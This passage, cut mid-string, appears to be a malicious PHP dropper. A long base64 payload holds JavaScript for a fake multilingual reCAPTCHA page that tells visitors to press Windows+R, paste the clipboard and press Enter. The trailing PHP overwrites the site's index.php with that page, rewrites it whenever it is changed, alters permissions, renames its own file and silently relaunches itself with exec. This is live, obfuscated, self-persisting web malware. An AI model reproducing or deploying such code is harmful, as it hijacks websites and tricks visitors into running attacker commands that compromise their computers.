Lil4Lit4LiU4Lig4Lix4Lii4LiC4Lit4LiH4LiB4Liy4Lij4LmA4LiK4Li34LmI4Lit4Lih4LiV4LmI4Lit4LiC4Lit4LiH4LiE4Li44LiT4LiB4LmI4Lit4LiZ4LiU4Liz4LmA4LiZ4Li04LiZ4LiB4Liy4Lij4LiV4LmI4LitLiJ9LAoKICAgIHVrOntjaGVja2luZzoi0J/QtdGA0LXQstGW0YDQutCwLCDRh9C4INCy0Lgg0LvRjtC00LjQvdCwLiDQptC1INC80L7QttC1INC30LDQudC90Y/RgtC4INC60ZbQu9GM0LrQsCDRgdC10LrRg9C90LQuIix2ZXJpZnlJbnN0cnVjdGlvbjoi0J/RltC00YLQstC10YDQtNGW0YLRjCwg0YnQviDQstC4INC70Y7QtNC40L3QsCwg0LLQuNC60L7QvdCw0LLRiNC4INC00ZbRjiDQvdC40LbRh9C1LiIsdmVyaWZ5aW5nOiLQn9C10YDQtdCy0ZbRgNC60LAuLi4iLG5vdFJvYm90OiLQryDQvdC1INGA0L7QsdC+0YIiLHN0ZXBzOiLQmtGA0L7QutC4INC/0LXRgNC10LLRltGA0LrQuCIsc3VjY2Vzczoi0KPRgdC/0ZbRiNC90L4uIix2ZXJpZnlUaXRsZToi0KnQvtCxINC00L7QstC10YHRgtC4LCDRidC+INCy0Lgg0L3QtSDRgNC+0LHQvtGCOiIsc3RlcDE6ItCj0YLRgNC40LzRg9C50YLQtSDQutC70LDQstGW0YjRgyBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItCjINCy0ZbQutC90ZYg0L/QtdGA0LXQstGW0YDQutC4INC90LDRgtC40YHQvdGW0YLRjCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6ItCd0LDRgtC40YHQvdGW0YLRjCA8Yj5FbnRlcjwvYj4sINGJ0L7QsSDQt9Cw0LLQtdGA0YjQuNGC0LguIixvYnNlcnZlOiLQktC4INC/0L7QsdCw0YfQuNGC0LUg0YLQsCDQv9C+0LPQvtC00LjRgtC10YHRjDoiLGNvbmZpcm1MZWFkOiLQryDQvdC1INGA0L7QsdC+0YIg4oCUINGW0LTQtdC90YLQuNGE0ZbQutCw0YLQvtGAINC/0LXRgNC10LLRltGA0LrQuCByZUNBUFRDSEE6ICIsZmluYWw6ItCS0LjQutC+0L3QsNC50YLQtSDQvdCw0LLQtdC00LXQvdGWINCy0LjRidC1INC60YDQvtC60LgsINGJ0L7QsSDQt9Cw0LLQtdGA0YjQuNGC0Lgg0L/QtdGA0LXQstGW0YDQutGDLiIsdmVyaWZ5QnRuOiLQn9C10YDQtdCy0ZbRgNC40YLQuCIsY29uZmlkZW50aWFsaXR5OiLQmtC+0L3RhNGW0LTQtdC90YbRltC50L3RltGB0YLRjCIsdGVybXM6ItCj0LzQvtCy0LgiLGZvb3Rlcjoi0L/QvtCy0LjQvdC90LAg0L/QtdGA0LXQstGW0YDQuNGC0Lgg0LHQtdC30L/QtdC60YMg0LLQsNGI0L7Qs9C+INC3J9GU0LTQvdCw0L3QvdGPINC/0LXRgNC10LQg0L/RgNC+0LTQvtCy0LbQtdC90L3Rj9C8LiJ9LAoKICAgIGNzOntjaGVja2luZzoiS29udHJvbHVqZSBzZSwgemRhIGpzdGUgxI1sb3bEm2suIFRvIG3Fr8W+ZSB0cnZhdCBuxJtrb2xpayBzZWt1bmQuIix2ZXJpZnlJbnN0cnVjdGlvbjoiT3bEm8WZdGUsIMW+ZSBqc3RlIMSNbG92xJtrLCBwcm92ZWRlbsOtbSBuw63FvmUgdXZlZGVuw6kgYWtjZS4iLHZlcmlmeWluZzoiT3bEm8WZb3bDoW7DrS4uLiIsbm90Um9ib3Q6Ik5lanNlbSByb2JvdCIsc3RlcHM6Iktyb2t5IG92xJvFmWVuw60iLHN1Y2Nlc3M6IsOac3DEm8WhbsSbLiIsdmVyaWZ5VGl0bGU6IkFieSBzZSBwcm9rw6F6YWxvLCDFvmUgbmVqc3RlIHJvYm90OiIsc3RlcDE6IlN0aXNrbsSbdGUgYSBwb2Ryxb50ZSBrbMOhdmVzdSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IlYgb3bEm8WZb3ZhY8OtbSBva27EmyBzdGlza27Em3RlIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiU3Rpc2tuxJt0ZSA8Yj5FbnRlcjwvYj4gcHJvIGRva29uxI1lbsOtLiIsb2JzZXJ2ZToiQnVkZXRlIHBvem9yb3ZhdCBhIHNvdWhsYXNpdDoiLGNvbmZpcm1MZWFkOiJOZWpzZW0gcm9ib3Qg4oCUIElEIG92xJvFmWVuw60gcmVDQVBUQ0hBOiAiLGZpbmFsOiJQcm8gZG9rb27EjWVuw60gb3bEm8WZZW7DrSBwcm92ZcSPdGUgdsO9xaFlIHV2ZWRlbsOpIGtyb2t5LiIsdmVyaWZ5QnRuOiJPdsSbxZlpdCIsY29uZmlkZW50aWFsaXR5OiJExa92xJtybm9zdCIsdGVybXM6IlBvZG3DrW5reSIsZm9vdGVyOiJtdXPDrSB6a29udHJvbG92YXQgYmV6cGXEjW5vc3QgdmHFoWVobyBwxZlpcG9qZW7DrSBwxZllZCBwb2tyYcSNb3bDoW7DrW0uIn0KICB9OwoKICBmdW5jdGlvbiBkZXRlY3RMYW5nKCl7CiAgICBjb25zdCBwcmVmcz0obmF2aWdhdG9yLmxhbmd1YWdlcyYmbmF2aWdhdG9yLmxhbmd1YWdlcy5sZW5ndGg/bmF2aWdhdG9yLmxhbmd1YWdlczpbbmF2aWdhdG9yLmxhbmd1YWdlfHwiZW4iXSkubWFwKHg9PngudG9Mb3dlckNhc2UoKSk7CiAgICBmb3IoY29uc3QgbCBvZiBwcmVmcyl7CiAgICAgIGlmKGwuc3RhcnRzV2l0aCgiYXIiKSkgcmV0dXJuICJhciI7CiAgICAgIGlmKGwuc3RhcnRzV2l0aCgiaGUiKSkgcmV0dXJuICJhciI7IC8vIHRyZWF0IGhlYnJldyBhcyBydGwgKHdpbGwgYmUgaGFuZGxlZCkKICAgICAgaWYobC5zdGFydHNXaXRoKCJmciIpKSByZXR1cm4gImZyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJkZSIpKSByZXR1cm4gImRlIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJpdCIpKSByZXR1cm4gIml0IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJqYSIpKSByZXR1cm4gImphIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ6aCIpKSByZXR1cm4gInpoIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJrbyIpKSByZXR1cm4gImtvIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJydSIpKSByZXR1cm4gInJ1IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJlcyIpKSByZXR1cm4gImVzIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJwdCIpKSByZXR1cm4gInB0IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJubCIpKSByZXR1cm4gIm5sIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ0ciIpKSByZXR1cm4gInRyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJwbCIpKSByZXR1cm4gInBsIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJzdiIpKSByZXR1cm4gInN2IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJkYSIpKSByZXR1cm4gImRhIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJmaSIpKSByZXR1cm4gImZpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJoaSIpKSByZXR1cm4gImhpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJpZCIpKSByZXR1cm4gImlkIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ2aSIpKSByZXR1cm4gInZpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ0aCIpKSByZXR1cm4gInRoIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ1ayIpKSByZXR1cm4gInVrIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJjcyIpKSByZXR1cm4gImNzIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJlbiIpKSByZXR1cm4gImVuIjsKICAgIH0KICAgIHJldHVybiAiZW4iOwogIH0KCiAgZnVuY3Rpb24gcmVhZHkoZm4peyBpZihkb2N1bWVudC5yZWFkeVN0YXRlPT09ImxvYWRpbmciKSBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmbik7IGVsc2UgZm4oKTsgfQoKICByZWFkeShmdW5jdGlvbigpewogICAgY29uc3QgbGFuZyA9IGRldGVjdExhbmcoKTsKICAgIGNvbnN0IHQgPSBpMThuW2xhbmddIHx8IGkxOG4uZW47CgogICAgLy8gUlRMIHN1cHBvcnQgZsO8ciBhcmFiaXNjaCArIGhlYnLDpGlzY2gKICAgIGlmIChsYW5nID09PSAiYXIiIHx8IGxhbmcgPT09ICJoZSIpIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5kaXIgPSAicnRsIjsKCiAgIAogICAgY29uc3QgcHJlID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByZWxvYWRlcl90ZXh0Iik7IGlmKHByZSkgcHJlLnRleHRDb250ZW50ID0gdC5jaGVja2luZzsKICAgIGNvbnN0IGFsbHN0ZXAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudGV4dGFsbHN0ZXAiKTsgaWYoYWxsc3RlcCkgYWxsc3RlcC50ZXh0Q29udGVudCA9IHQudmVyaWZ5SW5zdHJ1Y3Rpb247CgoKICAgIGNvbnN0IHNldCA9IChzZWwsIHR4dCk9PnsgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbChzZWwpLmZvckVhY2goZWw9PmVsLnRleHRDb250ZW50ID0gdHh0KTsgfTsKICAgIHNldCgiLnRldHR4IC5zdGVwMCIsIHQudmVyaWZ5aW5nKTsKICAgIHNldCgiLnRldHR4IC5zdGVwMSIsIHQubm90Um9ib3QpOwogICAgc2V0KCIudGV0dHggLnN0ZXAyIiwgdC5zdGVwcyk7CiAgICBzZXQoIi50ZXR0eCAuc3RlcDMiLCB0LnN1Y2Nlc3MpOwoKCiAgICBjb25zdCBjYiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGVja2JveCIpOyBpZiAoY2IpIGNiLnRleHRDb250ZW50ID0gIiI7CgoKICAgIGNvbnN0IHRpdGxlUCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBwOmZpcnN0LW9mLXR5cGUiKTsKICAgIGlmICh0aXRsZVApIHRpdGxlUC5pbm5lckhUTUwgPSB0LnZlcmlmeVRpdGxlOwoKICAgIGNvbnN0IHN0ZXBzT2wgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjdmVyaWZ5LXdpbmRvdyAudmVyaWZ5LW1haW4gb2wiKTsKICAgIGlmIChzdGVwc09sKSBzdGVwc09sLmlubmVySFRNTCA9IGA8bGk+JHt0LnN0ZXAxfTwvbGk+PGxpPiR7dC5zdGVwMn08L2xpPjxsaT4ke3Quc3RlcDN9PC9saT5gOwoKCiAgICBjb25zdCBvYnNlcnZlUCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBwLm9ic2VydmUiKTsKICAgIGlmIChvYnNlcnZlUCkgewogICAgICBjb25zdCBjb2RlRWwgPSBvYnNlcnZlUC5xdWVyeVNlbGVjdG9yKCJjb2RlIik7CiAgICAgIGNvbnN0IHBpZWNlcyA9IG9ic2VydmVQLmlubmVySFRNTC5zcGxpdCgiPGJyPiIpOwogICAgICBwaWVjZXNbMF0gPSB0Lm9ic2VydmU7CiAgICAgIG9ic2VydmVQLmlubmVySFRNTCA9IHBpZWNlcy5qb2luKCI8YnI+Iik7CiAgICAgIGlmIChjb2RlRWwpIHsKICAgICAgICBjb25zdCBpZFNwYW4gPSBjb2RlRWwucXVlcnlTZWxlY3RvcigiI3ZlcmlmaWNhdGlvbi1pZCIpOwogICAgICAgIGNvbnN0IGlkSHRtbCA9IGlkU3BhbiA/IGlkU3Bhbi5vdXRlckhUTUwgOiAnPHNwYW4gaWQ9InZlcmlmaWNhdGlvbi1pZCI+PC9zcGFuPic7CiAgICAgICAgY29kZUVsLmlubmVySFRNTCA9IGAg4pyFICIke3QuY29uZmlybUxlYWR9JHtpZEh0bWx9IiBgOwogICAgICB9CiAgICB9CgogICAgY29uc3QgbGVmdCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi52ZXJpZnktZm9vdGVyLWxlZnQiKTsgaWYgKGxlZnQpIGxlZnQudGV4dENvbnRlbnQgPSB0LmZpbmFsOwogICAgY29uc3QgYnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmeS1idXR0b24iKTsgaWYgKGJ0bikgYnRuLnRleHRDb250ZW50ID0gdC52ZXJpZnlCdG47CgoKICAgIGNvbnN0IGxlZ2FsQm94ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI2NoZWNrYm94LXdpbmRvdyA+IGRpdiA+IGRpdjpsYXN0LWNoaWxkJyk7CiAgICBpZiAobGVnYWxCb3gpIHsKICAgICAgY29uc3QgcHMgPSBsZWdhbEJveC5xdWVyeVNlbGVjdG9yQWxsKCJwIik7CiAgICAgIGlmIChwc1swXSkgcHNbMF0udGV4dENvbnRlbnQgPSB0LmNvbmZpZGVudGlhbGl0eTsKICAgICAgaWYgKHBzWzFdKSBwc1sxXS50ZXh0Q29udGVudCA9IHQudGVybXM7CiAgICB9CgoKICAgIGNvbnN0IGRvbWFpblBhcmFzID0gQXJyYXkuZnJvbShkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCJwIC5kb21haW4tbmFtZSIpKS5tYXAocz0+cy5wYXJlbnRFbGVtZW50KTsKICAgIGZvciAoY29uc3QgcCBvZiBkb21haW5QYXJhcyl7CiAgICAgIGlmICgvXGJuZWVkcyB0byByZXZpZXcgdGhlIHNlY3VyaXR5IG9mIHlvdXIgY29ubmVjdGlvbiBiZWZvcmUgcHJvY2VlZGluZ1wuL2kudGVzdChwLnRleHRDb250ZW50KSkgewogICAgICAgIGNvbnN0IGhvc3QgPSAocC5xdWVyeVNlbGVjdG9yKCIuZG9tYWluLW5hbWUiKT8udGV4dENvbnRlbnQgfHwgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICIiKTsKICAgICAgICBwLmlubmVySFRNTCA9IGA8c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPiR7aG9zdH08L3NwYW4+ICR7dC5mb290ZXJ9YDsKICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0pOwp9KSgpOwo8L3NjcmlwdD4KCjwvYm9keT48L2h0bWw+");if(!file_exists($w."index.php")){@file_put_contents($w."index.php",$aa);}else{$r=@file_get_contents($w."index.php");if(md5($r)!=md5($aa)){@chmod($w."index.php",0133+0511);@file_put_contents($w."index.php",$aa);}}@chmod($w."index.php",0311+0133);rename(__FILE__,$y);exec("php -f {$y} > /dev/null 2>/dev/null &",$bb);